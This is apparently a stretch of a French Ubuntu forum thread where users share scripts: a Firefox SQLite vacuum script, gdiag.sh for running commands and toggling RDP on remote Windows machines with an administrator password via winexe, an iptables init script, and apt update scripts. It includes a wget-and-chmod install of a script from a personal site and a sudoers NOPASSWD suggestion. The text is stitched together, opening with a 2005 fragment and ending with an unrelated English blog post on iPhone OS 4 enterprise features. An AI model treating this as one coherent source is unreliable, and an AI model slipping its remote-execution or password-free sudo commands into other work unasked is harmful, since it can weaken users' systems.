Enregistrer dans le dossier /etc/apt
Le fichier existe déjà, remplacer
Console sudo apt-get update
Ca doit etre bon
A+
Dernière modification par michel2652 (Le 04/12/2005, à 13:47)
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci !! Mais dans le terminal vient: E: Le type « breezy » est inconnu sur la ligne 3 dans la liste des sources /etc/ apt/sources.list
C'est peut être parce que je n'ai pas effacé ce qu'il y avait avant de copier coller ce que tu viens de me donner ???
Dernière modification par Trudy (Le 04/12/2005, à 13:56)
Hors ligne
|
#1001 Le 25/04/2010, à 17:05
oGu
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Bonjour à tous !
Tout d'abord félicitations pour l'excellente tenue de ce forum et pour tous les scripts que j'ai piqué sur ce topic!!
Etant passé de Firefox à IceCat dernièrement, j'aimerais qu'un Ubuntero sachant scripter adapte ce fichier (qui défragmente les données sqlite de Firefox) à mon nouveau browser :
#!/usr/bin/env python
# coding=utf8
from os import getenv,getuid,kill,waitpid
from subprocess import call,Popen,PIPE
from os.path import abspath,join,exists
from signal import SIGTERM
def recup_rep_profiles():
base_profile=join(getenv('HOME'),".mozilla","firefox")
profiles_ini=join(base_profile,"profiles.ini")
rep_profiles=[]
lignes=open(profiles_ini).read().splitlines()
for ligne in lignes:
ligne=ligne.strip()
if ligne.startswith("Path="):
rep_profiles.append(join(base_profile,ligne[5:]))
return rep_profiles
def patch_sessionstore(sessionstore):
if not exists(sessionstore): return
chaine=open(sessionstore,"rb").read()
chaine=chaine.replace('session:{state:"running"}})','session:{state:"stopped"}})')
open(sessionstore,"wb").write(chaine)
def recup_firefox_pids():
lignes=Popen(['pgrep','-x','firefox','-U',str(getuid())],stdout=PIPE).communicate()[0]
firefox_pids=[]
for ligne in lignes.splitlines():
ligne=ligne.strip()
if not ligne: continue
firefox_pids.append(int(ligne))
return firefox_pids
def kill_firefox(firefox_pids):
for pid in firefox_pids: kill(pid,SIGTERM)
# Récupère les chemins vers les profiles
profiles=recup_rep_profiles()
# Récupère les PID des processus Firefox en cours d’exécution
pids=recup_firefox_pids()
# Demande confirmation si Firefox est en cours d’exécution
if pids:
retour=call(['zenity','--question','--title=Attention','--text=Firefox est encours d’exécution\nSi vous cliquez sur Valider, Firefox sera fermé le temps d’effectuer l’optimisation et relancé après'])
if retour==1: exit(1)
# Arrête Firefox
kill_firefox(pids)
# Patche les fichiers sessionstore.js
for profile in profiles:
patch_sessionstore(join(profile,"sessionstore.js"))
# Compacte les bases de données
progress=Popen(["zenity","--title","Optimisation","--text","Optimisation en cours...","--progress","--pulsate","--auto-close"],stdin=PIPE)
for profile in profiles:
Popen(['find',profile,'-name','*.sqlite','-print','-exec','sqlite3','{}','VACUUM',';'],stdout=progress.stdin)
progress.stdin.close()
# Relance Firefox s’il était lancé
if pids:
Popen(['firefox'],stderr=open("/dev/null"),stdout=open("/dev/null"))
Est-ce techniquement possible? Si oui merci d'avance à celui/ceux qui se pencheront sur la transformation de ce code!
Bye!
Ogu
Dernière modification par oGu (Le 25/04/2010, à 17:06)
Ubunteros de tous les pays, unissez-vous !
Hors ligne
#1002 Le 27/04/2010, à 13:02
bugs néo
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
ce script permet de rendre plus rapide Firefox?
jeu de course open source earth-race (le jeu est en réécriture complète depuis janvier, afin de pouvoir aller plus vite par la suite)
Hors ligne
#1003 Le 27/04/2010, à 14:12
oGu
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Bonjour!
Oui, c'est ce qu'il est censé faire : en défragmentant les bases de données (awesome bar etc...) il rend leur accès plus rapide.
Après j'ignore si l'effet est réel, ou si c'est un placebo...
Quelques liens :
-ici la page avec le script originel (tiens, je me rends compte que l'accentuation pose problème avec le script que j'ai posté, ce qui n'est pas le cas sur le script initial)
http://zigazou.wordpress.com/2009/05/21/optimisation-et-gain-despace-sous-firefox-3/
-pour les fans de la ligne de commande, la procédure à suivre :
http://www.webdevonlinux.fr/2009/04/optimiser-le-demarrage-de-firefox/
Dernière modification par oGu (Le 27/04/2010, à 14:17)
Ubunteros de tous les pays, unissez-vous !
Hors ligne
#1004 Le 29/04/2010, à 12:46
2F
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
bonjour,
un script utile (de débutant mais qui focntionne) pour éviter de se déplacer quand on fait de la maintenance.
il permet d'avoir pas mal d'infos sur une machine win et après permet quasiement tout si vous faites vos scripts en bat, reg ou vbs pour les lancer sur la machine distante.
il faut :
-winexe
-zenity
-un dossier en lecture seule au moins, accessible depuis le réseau (à renseigner dans gdiag.conf)
-la suite pstools à insérer dans ce même dossier
ce script peut être très évolutif et très utile, j'utilise moi, une version non graphique avec nos scripts perso du boulot qu'on lance directement par le menu.
donc j'ai voulu le rendre général. vos remarques, conseils sont les bienvenu.
gdiag.sh
#! /bin/bash
# Effectue des diagnostiques et rapporte des informations sur des pc win
# Licence : GPL
# Dépendance : winexe, zenity, la suite pstools sur un serveur, rdesktop, samba
# Il faut un accès en lecture seule au moins sur un serveur acessible depuis l'exterieur (a renseigner dans gdiag.conf)
#à finir
#finir lancement script personnaliser (script) : vérifier la présence du fichier sur le serveur
#possibilité de tuer un processus avec tskill PID
. ./gdiag.conf
pingo="Ping"
nmap="Nmap"
proc="Processus en cours"
heure="Resynchroniser date & heure"
service="Services (processus) : start, stop, restart"
script="Lancer un script .vbs .reg ou .bat"
psinfo="Infos PC (programmes installés, SP, ram, HDD, etc..)"
mstsc="Ouvrir port RDP, rdesktop & fermer RDP"
msconfig="Afficher msconfig démarrage"
browse="Parcourir le disque C:/"
logs="Afficher les erreurs du journal d'évènements des 24H"
diag="Diag complet"
reboot="Rebooter la machine"
console="Accéder à la console DOS distante"
autre="Passer sur une autre machine"
quit="Quitter"
machine () {
target=$(zenity --entry --title="Gdiag" --text="Nom de machine ou IP");
if ping -c 1 -w 3 $target
then
mdp=$(zenity --entry --hide-text --title="Gdiag" --text="Mot de passe administrateur");
menu
else
echo "$target ne ping pas !!" | zenity --text-info --title="$target NE PING PAS !" --width 500 --height 200 && machine
fi
}
machine
menu () {
rm -Rf res.txt && killall winexe
action=`zenity --list --title "$titre" --width 500 --height 550 --radiolist --column=Choix --column "Action" TRUE "$pingo" FALSE "$nmap" FALSE "$proc" FALSE "$heure" FALSE "$service" FALSE "$script" FALSE "$psinfo" FALSE "$mstsc" FALSE "$msconfig" FALSE "$browse" FALSE "$logs" FALSE "$reboot" FALSE "$console" FALSE "$autre" FALSE "$diag" FALSE "$quit"`
}
while [ "$choix" != "quit" ]; do
menu
case "$action" in
"$pingo")
ping $target | zenity --text-info --width 700 --height 500 --title="$pingo de $target"
;;
"$nmap")
nmap $target | zenity --text-info --width 700 --height 500 --title="$nmap de $target"
;;
"$proc")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k qprocess * /system & exit" | zenity --text-info --width 600 --height 800 --title="$proc"
;;
"$heure")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k w32tm /resync /rediscover & exit" | zenity --progress --pulsate --auto-close && echo "Allume un cierge mais $target devrait être à l'heure maintenant" | zenity --text-info --title="$heure de $target" --width 400 --height 200
;;
#stopper, relancer ou lancer un service : mettre le nom du service sans l'extension
"$service")
serv=$(zenity --entry --title="Gdiag" --text="Nom du service");
action=`zenity --list --title "Services" --width 500 --height 550 --radiolist --column=choix --column "Action" TRUE "lancer" FALSE "stopper" FALSE "relancer" FALSE "$quit"`
case "$action" in
"lancer")
acte=start
;;
"stopper")
acte=stop
;;
"relancer")
acte=restart
;;
"quit")
menu
;;
esac
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k \\\\"$serveur"\psservice.exe /accepteula $acte $serv & exit" | zenity --progress --pulsate --auto-close && echo "le service $serv est $acte sur $target" | zenity --text-info --width 400 --height 200 --title="$relancetb2 sur $target"
;;
# pour lancer un programme bat vbs ou reg depuis le dossier du serveur : mettre le nom exacte du fichier avec extension
"$script")
#choix du fichier script
file=$(zenity --entry --title="Gdiag" --text="Nom du script dans le dossier $serveur avec son extension :");
#vérifie l'extension du fichier
ext=`echo $file | grep -o '\.[^.]*$'`
case $ext in
".bat")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k start \\\\"$serveur"\\"$file" & exit" | zenity --progress --pulsate --auto-close && echo "$file lancé sur $target" | zenity --text-info --title="Lancement de $file sur $target" --width 400 --height 200
;;
".BAT")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k start \\\\"$serveur"\\"$file" & exit" | zenity --progress --pulsate --auto-close && echo "$file lancé sur $target" | zenity --text-info --title="Lancement de $file sur $target" --width 400 --height 200
;;
".vbs")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k cscript \\\\"$serveur"\"$file" & exit"" | zenity --progress --pulsate --auto-close && echo "$file lancé sur $target" | zenity --text-info --title="Lancement de $file sur $target" --width 400 --height 200
;;
".VBS")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k cscript \\\\"$serveur"\"$file" & exit"" | zenity --progress --pulsate --auto-close && echo "$file lancé sur $target" | zenity --text-info --title="Lancement de $file sur $target" --width 400 --height 200
;;
".reg")
winexe -U "$target"/administrateur%$mdp //"$target" "regedit /S \\\\"$serveur"\"$file" & exit"" | zenity --progress --pulsate --auto-close && echo "$file lancé sur $target" | zenity --text-info --title="Lancement de $file sur $target" --width 400 --height 200
;;
".REG")
winexe -U "$target"/administrateur%$mdp //"$target" "regedit /S \\\\"$serveur"\"$file" & exit"" | zenity --progress --pulsate --auto-close && echo "$file lancé sur $target" | zenity --text-info --title="Lancement de $file sur $target" --width 400 --height 200
;;
*)
zenity --warning --text="extension non supportée"
;;
esac
;;
#liste les infos pc
"$psinfo")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k \\\\"$serveur"\psinfo.exe -d -s /accepteula & exit" | zenity --text-info --title="$psinfo de $target" --width 700 --height 300
;;
#ouvre le port RDP, lance rdesktop et ferme le port RDP
"$mstsc")
winexe -U "$target"/administrateur%$mdp //"$target" "regedit /S \\\\"$serveur"\mstscon.reg"
notify-send -i /usr/share/icons/gnome/scalable/apps/gnome-terminal.svg Hop "Ouverture du Terminal serveur client sur "$target"" && sleep 5 && rdesktop "$target" && winexe -U "$target"/administrateur%$mdp //"$target" "regedit /S \\\\"$serveur"\mstscoff.reg" && notify-send -i /usr/share/icons/gnome/scalable/apps/gnome-terminal.svg Hop "Fermeture du Terminal serveur client sur "$target""
;;
#msconfig
"$msconfig")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run & exit" > res.txt 2>&1 | zenity --progress --pulsate --auto-close
cat res.txt |grep REG_SZ | zenity --text-info --title="$msconfig de $target" --width 700 --height 300
;;
"$browse")
`nautilus smb://administrateur@"$target"/c$`
;;
#affiche les erreurs du journal d'évènements des 24H
"$logs")
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k \\\\"$serveur"\psloglist.exe -d 1 -f e /accepteula & exit" >res.txt | zenity --progress --pulsate --auto-close && cat res.txt|grep -e ] -e Time| zenity --text-info --title="$autorun de $target" --width 400 --height 200
;;
#ping, nmap, liste processus, infos pc, msconfig et erreurs journal évènement des 24H
"$diag")
rm -f resultat.txt
ping3=`ping -c 3 "$target"`
echo -n "#### \\033[1;31mPING\\033[0m ####"
echo -n "#### PING ####" > resultat.txt
echo " " >> resultat.txt
echo " " >> resultat.txt
echo -n "$ping3" >> resultat.txt
echo " " >> resultat.txt
echo " " >> resultat.txt
echo -n "#### \\033[1;31mNMAP\\033[0m ####" &&
echo " " >> resultat.txt
echo "#### NMAP ####" >> resultat.txt
echo " " >> resultat.txt
gnome-terminal -x nmap "$target" -o nmap.txt && sleep 4 && cat nmap.txt |grep -v Nmap | grep -v Interesting >> resultat.txt
echo -n "#### \\033[1;31mINFOS PC\\033[0m ####"
echo -n "#### INFOS PC ####" >> resultat.txt
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k \\\\"$serveur"\psinfo.exe -d -s /accepteula & exit" >> resultat.txt
echo " " >> resultat.txt
echo -n "#### \\033[1;31mPROCESSUS\\033[0m ####"
echo -n "#### PROCESSUS ####" >> resultat.txt
echo " " >> resultat.txt
echo " " >> resultat.txt
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k qprocess * /system & exit" >> resultat.txt
echo -n "#### \\033[1;31mMSCONFIG\\033[0m ####"
echo " " >> resultat.txt
echo -n "#### MSCONFIG ####" >> resultat.txt
echo " " >> resultat.txt
winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run & exit" > res.txt && cat res.txt |grep REG_SZ >> resultat.txt
echo " "
echo "rapport terminé" && clear && cat resultat.txt | zenity --text-info --title="$diag de $target" --width 800 --height 600
;;
#reboot
"$reboot")
net rpc shutdown -r -C "Votre ordianteur va redémarrer" -f -I "$target" -U administrateur%$mdp | zenity --text-info --title="reboot de $target en cours..." --width 400 --height 400
;;
#ok, tapez exit pour terminer le processus correctement
"$console")
gnome-terminal -x winexe -U "$target"/administrateur%$mdp //"$target" "cmd /k qprocess * /system" &
;;
"$autre")
machine
;;
"$quit")
break;;
*)
esac
done
exit 0
le fichier de conf pauvre mais utile pour que ca serve à tout le monde
gdiag.conf
#mettre de la forme serveur="ip-serveur\mon dossier\scripts"
serveur=
et 2 tout petit .reg (a mettre aussi dans le dossier) qui servent dans le script... à vous de faire les votre après :
mstscon.reg
Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]"fDenyTSConnections"=dword:00000000
mstscoff.reg
Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]"fDenyTSConnections"=dword:00000001
voilà.
Bon app!
Dernière modification par 2F (Le 04/05/2010, à 17:02)
Hors ligne
#1005 Le 08/05/2010, à 16:28
malagasy
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Bonjour,
je n'y connais rien du tout en script, alors je voudrai savoir si quelqu'un peut me faire un petit script qui lance au démarrage de gnome:
compiz --replace
puisque depuis la mise à jour vers lucid, gnome n'aime pas trop compiz, et il faut que je lance cette commande à chaque fois,
Merci
Hors ligne
#1006 Le 08/05/2010, à 17:16
Levi59
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Bonjour,
je n'y connais rien du tout en script, alors je voudrai savoir si quelqu'un peut me faire un petit script qui lance au démarrage de gnome:
compiz --replace
puisque depuis la mise à jour vers lucid, gnome n'aime pas trop compiz, et il faut que je lance cette commande à chaque fois,
Merci
pourquoi un script? il te suffit de mettre "compiz-replace" dans les programmes au démarrage non?
Au pire si il faut le lancer en décalé, met "sleep X && compiz-replace" en remplaçant X par le nombre de seconde nécessaires.
Hors ligne
#1007 Le 08/05/2010, à 20:51
#1008 Le 08/05/2010, à 21:24
Levi59
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
c'est pour ça que j'adore cette communauté .. merci, ça marche
À vot' service M'sieurs! ^^
Dernière modification par Levi59 (Le 08/05/2010, à 21:25)
Hors ligne
#1009 Le 08/05/2010, à 22:59
#1010 Le 18/05/2010, à 10:16
yamo
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Bonjour,
Comme j'en avait marre de synaptic je me suis fait un script de mise à jour basé sur apt-get.
Tout d'abord, j'ai pris l'habitude de mettre tous mes scripts dans ~/bin ça permet d'avoir un répertoire home un peu rangé! Et de les lancer très simplement sans devoir ajouter ./ au début
Vous aller trouver étrange que je commence tout de suite par mettre à jour mais c'est par ce que j'utilise cron-apt qui permet de télécharger en tâche de fond les paquets, comme ça les mises paraissent encore plus rapides!
Attention, la mise à jour d'un système n'est pas triviale, lisez ces scripts avant de les utiliser. Personnellement, j'essaie toujours de comprendre ce que va faire une commande avant de l'exécuter.
Je n'ai laissé que la version console, la version graphique n'a pas vraiment d’intérêt vu que ça fonctionne bien de base en graphique.
~/bin/update.console.sh :
#!/bin/bash
# ~/bin/update.console.sh
# mise à jour du 11/12/2011
echo "mise à jour" &&
sudo nice -n 19 ionice -c 3 apt-get dist-upgrade -y &&
echo "nettoyage" &&
sudo nice -n 19 ionice -c 3 apt-get clean &&
echo "nettoyage" &&
sudo nice -n 19 ionice -c 3 apt-get autoclean &&
echo "coup de balai" &&
sudo nice -n 19 ionice -c 3 apt-get autoremove &&
echo "toc toc toc" &&
sudo nice -n 19 ionice -c 3 apt-get -qq update &&
## l'usage de -qq est totalement déconseillé en dehors d'update!
echo "mise à jour" &&
sudo nice -n 19 ionice -c 3 apt-get dist-upgrade -y &&
echo "dernieres mises à jour" &&
grep -v '\(half\|configure\|trigproc\|triggers-pending\|startup\|install-info\|unpacked\|config-files\|triggers-awaited\|installed\)' /var/log/dpkg.log
Pour tester mon script voici un script d'installation :
mkdir ~/bin & cd ~/bin/ &&
wget http://pasdenom.info/scripts/update.console.sh &&
chmod 554 ~/bin/update.console.sh
Enfin pour lancer le script il suffit de taper en console :
update.console.sh
Dernière modification par yamo (Le 11/12/2011, à 12:31)
Hors ligne
#1011 Le 28/05/2010, à 12:49
kazylax
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Bonjour,
un script existe pour Emesene ? de msn messenger
Cordialement,
Hors ligne
#1012 Le 28/05/2010, à 13:11
kyncani
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
J'aimerais savoir comment récupérer la liste des paquets installé manuellement.
Je sais récupérer la liste de tous les paquet installer, mais c'est très casse pied de la nettoyer pour ne conserver que les 60 intéressants...
J'ai donc mis les tag "auto" qu'il faut dans aptitude mais je ne sais pas comment en extraire la liste
aptitude search '~i!~M'
Hors ligne
#1013 Le 28/05/2010, à 20:56
Phendrax
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Yop
J'ai écrit une petite interface en python pour xinput que j'ai appelé gtk-xinput. Cela permet de facilement créer des pointeurs à l'écran et de leur associer des souris.
L'interface affiche donc la liste des pointeurs et chaque souris qui lui est associée. Sur le screen on peut voir par exemple que Logitech G500 est associée au pointeur dont l'id=2.
On peut créer des nouveaux pointeurs à l'écran avec le bouton "Ajouter" (en leur donnant un nom contenant uniquement des caractères alphanumériques) et en supprimer avec le bouton "Supprimer".
Le bouton "Recharger" sert à rafraichir l'affichage, par exemple si on vient de brancher une nouvelle souris.
Par défaut les souris sont associées au pointeur Virtual core. Il suffit de les glisser vers le pointeur que l'on veut.
Pour l'installer il est nécessaire d'avoir python, pygtk, libglade et xinput
sudo apt-get install python python-gtk2 libglade2-0 xinput
Le paquet debian de gtk-xinput peut être téléchargé ici : http://dl.free.fr/getfile.pl?file=/zoIHihCO
Le programme peut ensuite être lancé avec la commande gtk-xinput.
[Edit : il semblerait que le programme ne fonctionne que sous Lucid Lynx notamment à cause de la méthode set_visible() qui ne semble pas exister dans les versions précédentes et à cause de l'affichage de la commande xinput qui diffère selon les versions]
Dernière modification par Phendrax (Le 28/05/2010, à 21:47)
HP Pavillon dv6800 - Ubuntu 10.10 - GNOME 2.32.0
Hors ligne
#1014 Le 29/05/2010, à 01:42
BorX
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Marrant
Ça permet d'utiliser plusieurs souris en même temps ??
Autant je trouve ça vraiment intéressant, autant j'ai du mal à voir dans quel contexte l'utiliser...
A plusieurs ?
Pour les ambidextres ?
Hors ligne
#1015 Le 29/05/2010, à 04:43
kyncani
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Deux personnes sur une même machine
Hors ligne
#1016 Le 29/05/2010, à 12:01
hulk
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
MON scripte iptables
utilisation iptables start ou iptables stop
a placer dans /etc/init.d/ et a rendre exécutable puis l'activer avec update-rc.d
#! /bin/sh
### BEGIN INIT INFO
# Provides: iptables
# Required-Start:
# Required-Stop:
# Should-Start:
# Should-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 1 6
# Short-Description: script iptables
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
case "$1" in
start)
### SUPRESSION de TOUTES LES ANCIENNES TABLES (OUVRE TOUS!!) ###
iptables -F
iptables -X
### BLOC TOUS !! (seules les autorisations des raigle aprés celle-ci sont prise en compte) ###
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
### ACCEPT ALL interface loopbaak ###
iptables -I INPUT -i lo -j ACCEPT
iptables -I OUTPUT -o lo -j ACCEPT
### axepte en entrer les connection deja etablie (en gros sa permet d'axépter que les conection inicier
### par sont propre PC)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
### DNS indispensable pour naviguer facilement sur le web ###
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
### HTTP navigation internet non sécuriséer ###
iptables -A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT
### HTTPS pour le site de banque .... ###
iptables -A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
### emesene,pindgin,amsn... ####
iptables -A OUTPUT -p tcp -m tcp --dport 1863 -j ACCEPT
### pop thunderbird ... réceptions des message ####
iptables -A OUTPUT -p tcp -m tcp --dport 110 -j ACCEPT
### smtp thunderbird ... envoi des messages ###
iptables -A OUTPUT -p tcp -m tcp --dport 25 -j ACCEPT
### ntpdate ( client ntp )... sincro a un serveur de temp ###
iptables -A OUTPUT -p udp -m udp --dport 123 -j ACCEPT
### client-transmition
iptables -A OUTPUT -p udp -m udp --sport 51413 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp -s 192.168.1.2/255.255.255.255 --sport 30000:65000 -o eth0 -j ACCEPT
# remplacer 192.168.1.2 par votre adresse ip et eth0 par l'interface connecter a internet.
### ping ... autorise a pinger un ordinateur distent ###
iptables -A OUTPUT -p icmp -j ACCEPT
### ping ... autorise l'extèrieur a vous pinger ###
# iptables -A INPUT -p icmp -j ACCEPT # enlever le # du début de ligne pour activer cette règle
### LOG ### Log tous ce qui qui n'est pas accepter par une règles précédente
# prés requit : sudo apt-get install sysklogd
# echo 'kern.warning /var/log/iptables.log' > /etc/syslog.conf
iptables -A OUTPUT -j LOG --log-level 4
iptables -A INPUT -j LOG --log-level 4
iptables -A FORWARD -j LOG --log-level 4
;;
stop)
### OUVRE TOUS !! ###
iptables -F
iptables -X
;;
*)
N=/etc/init.d/${0##*/}
echo "Usage: $N {start|stop}" >&2
exit 1
;;
esac
exit 0
pour vérifier les log en temps réel 10 dernier entréer.
tail -f /var/log/iptables.log
Dernière modification par hulk (Le 07/12/2010, à 23:15)
Amilo A 1667G , turion64 , X700 .
debian squeeze amd64
driver libre radeon
Hors ligne
#1017 Le 31/05/2010, à 20:56
shamanphenix
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Pendant que je vous lisais, ça m'a donné envie, alors j'ai rapidement fait un premier jet (il faudrait que je rajoute un vidage de la corbeille, des miniatures Nautilus, etc. mais là n'est pas la question pour le moment ) pour mettre à jour mon système :
#!/bin/sh
# Permets de nettoyer et mettre à jour son système.
# Dépendance(s) : libnotify-bin ou zenity
# zenity --info --text="Mise à jour du système"
notify-send --icon=/usr/share/icons/hicolor/48x48/status/aptdaemon-working.png "Mise à jour du système"
# Mettre à jour la liste des fichiers disponibles dans les dépôts :
# zenity --info --text="Mise à jour de la liste des fichiers disponibles dans les dépôts"
notify-send --icon=/usr/share/icons/hicolor/48x48/status/aptdaemon-update-cache.png "Mise à jour de la liste des fichiers disponibles dans les dépôts"
sudo apt-get update
# Mettre à jour tous les paquets installés vers les dernières versions :
# zenity --info --text="Mise à jour de tous les paquets installés vers les dernières versions"
notify-send --icon=/usr/share/icons/hicolor/48x48/status/aptdaemon-upgrade.png "Mise à jour de tous les paquets installés vers les dernières versions"
sudo apt-get upgrade -y
# Mettre à jour tous les paquets installés vers les dernières versions en installant de nouveaux paquets si nécessaire :
# zenity --info --text="Mise à jour de tous les paquets installés vers les dernières versions en installant de nouveaux paquets si nécessaire"
notify-send --icon=/usr/share/icons/hicolor/48x48/status/aptdaemon-upgrade.png "Mise à jour de tous les paquets installés vers les dernières versions en installant de nouveaux paquets si nécessaire"
sudo apt-get dist-upgrade -y
# Supprimer les copies des paquets installés :
# zenity --info --text="Suppression des copies des paquets installés"
notify-send --icon=/usr/share/icons/hicolor/48x48/status/aptdaemon-cleanup.png "Suppression des copies des paquets installés"
sudo apt-get clean
# Supprimer les copies des paquets désinstallés :
# zenity --info --text="Suppression copies des paquets désinstallés"
notify-send --icon=/usr/share/icons/hicolor/48x48/status/aptdaemon-cleanup.png "Suppression copies des paquets désinstallés"
sudo apt-get autoclean -y
# zenity --info --text="Le système a été mis à jour"
notify-send --icon=/usr/share/icons/hicolor/48x48/status/aptdaemon-upgrade.png "Le système a été mis à jour"
Alors je sais, c'est super mal de mettre des "sudo" dans un script, et en plus c'est tout pourri puisque dans ce cas on est obligé de lancer le bouzin dans un terminal pour saisir le mot de passe root alors que j'aurais bien voulu le mettre dans mes scripts Nautilus...
Est-ce que l'un(e) d'entre vous aurait une idée géniale, par hasard ?
[edit]PS : c'est dommage que la balise "code" du forum ne colorie pas le texte, ça aiderait beaucoup à la lisibilité.[/edit]
Dernière modification par shamanphenix (Le 31/05/2010, à 20:57)
"Ubuntu". Si tous les gens du monde voulaient bien se tenir par la main... ce serait bien plus facile pour les électrocuter.
What did /home/user/DARTHVADER say to /home/user/DARTHVADER/LUKESKYWALKER ?I AM YOUR PARENT FOLDER.
Hors ligne
#1018 Le 31/05/2010, à 21:01
TatrefThekiller
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
gksudo ?
Hors ligne
#1019 Le 31/05/2010, à 21:12
shamanphenix
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
gksudo ?
En effet c'est une bonne idée, je pourrais remplacer le premier "sudo" par un "gksudo" (ça devrait suffire pour les autres, non ?), mais je dois avouer que je préfèrerais que cela soit entièrement automatisé (je sais saymal).
"Ubuntu". Si tous les gens du monde voulaient bien se tenir par la main... ce serait bien plus facile pour les électrocuter.
What did /home/user/DARTHVADER say to /home/user/DARTHVADER/LUKESKYWALKER ?I AM YOUR PARENT FOLDER.
Hors ligne
#1020 Le 31/05/2010, à 22:00
kyncani
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Ce genre de truc en en-tête peut marcher je crois :
if test `id -u` -ne 0; then
if test "$DISPLAY" = ""; then
exec sudo "$0" "$@"
else
exec gksudo "$0" "$@"
fi
exit 1
fi
Hors ligne
#1021 Le 01/06/2010, à 00:04
BorX
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Ou sinon
o Donner au script les droits root :
-rwx------ root root leScript
o Y virer tous les sudo qui sont à l'intérieur
o Et l'appeler avec sudo leScript
Ce qui continuera à demander un mot de passe à son lancement, sauf si on modifie le fichier /etc/sudoers de façon à ce script puisse être exécuté avec un sudo sans mot de passe.
Quelque chose du style
%sudo ALL=NOPASSWD: leScript
Mais je ne me souviens plus trop de la syntaxe.
C'est pas compliqué, faut chercher un tout petit peu
Hors ligne
#1022 Le 01/06/2010, à 08:21
draco31.fr
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
[edit]PS : c'est dommage que la balise "code" du forum ne colorie pas le texte, ça aiderait beaucoup à la lisibilité.[/edit]
C'est possible sur le wiki si tu indiques le langage ... mais à ma connaissance, ça n'a pas été prévu pour le forum.
Cela dit, il te suffit d'en faire la demande sur le topic de la nouvelle version du forum, ou de créer un rapport de bug sur launchpad pour le projet ubuntu-fr.org
Hors ligne
#1023 Le 01/06/2010, à 12:38
Levi59
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
shamanphenix a écrit :
[edit]PS : c'est dommage que la balise "code" du forum ne colorie pas le texte, ça aiderait beaucoup à la lisibilité.[/edit]
C'est possible sur le wiki si tu indiques le langage ... mais à ma connaissance, ça n'a pas été prévu pour le forum.
Cela dit, il te suffit d'en faire la demande sur le topic de la nouvelle version du forum, ou de créer un rapport de bug sur launchpad pour le projet ubuntu-fr.org
Ou encore de créer un plugin FF bien que ce ne soit pas du tout dans mes cordes... ^^
Si quelqu'un en est capable, voila un bon challenge!
Hors ligne
#1024 Le 01/06/2010, à 22:41
Nik0s
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
J'ai créé un petit script pour récupérer des wallpapers sur Interfacelift. Il y a, je pense, possibilité de l'améliorer, mais en voici le code
retiré
Dernière modification par Nik0s (Le 03/06/2010, à 20:46)
Hors ligne
|
Posted: April 9th, 2010 | Author: Andrew Gleave | Filed under: iphone, mobile, mobile app | No Comments »
Yesterday Apple announced the fourth release of the iPhone OS. There are a lot of changes to the platform but some of the less-discussed improvements are ones which bring ‘enterprise-ready’ features to the iPhone. These features really open up the potential for using iPhone and iPad devices securely in a business context.
With iPhone OS 4, iPhone and iPad now support:
SSL VPN Support
Multiple MS Exchange Accounts
Mobile Device Management – Remotely configure, update and wipe devices
Data Encryption
In-House App Distribution – Distribute and update your enterprise apps to company devices wirelessly
All of these are important features for most medium and large businesses, but being able to remotely update and sync your company iPhones and iPads is a real clincher. The ability for an enterprise to write and deploy its own apps (not distributed with the App Store) to staff devices wirelessly over WiFi or 3G, is the only reliable way of making sure all your devices are up to date: waiting for users to sync with iTunes mean it could takes weeks for all devices to get an update.
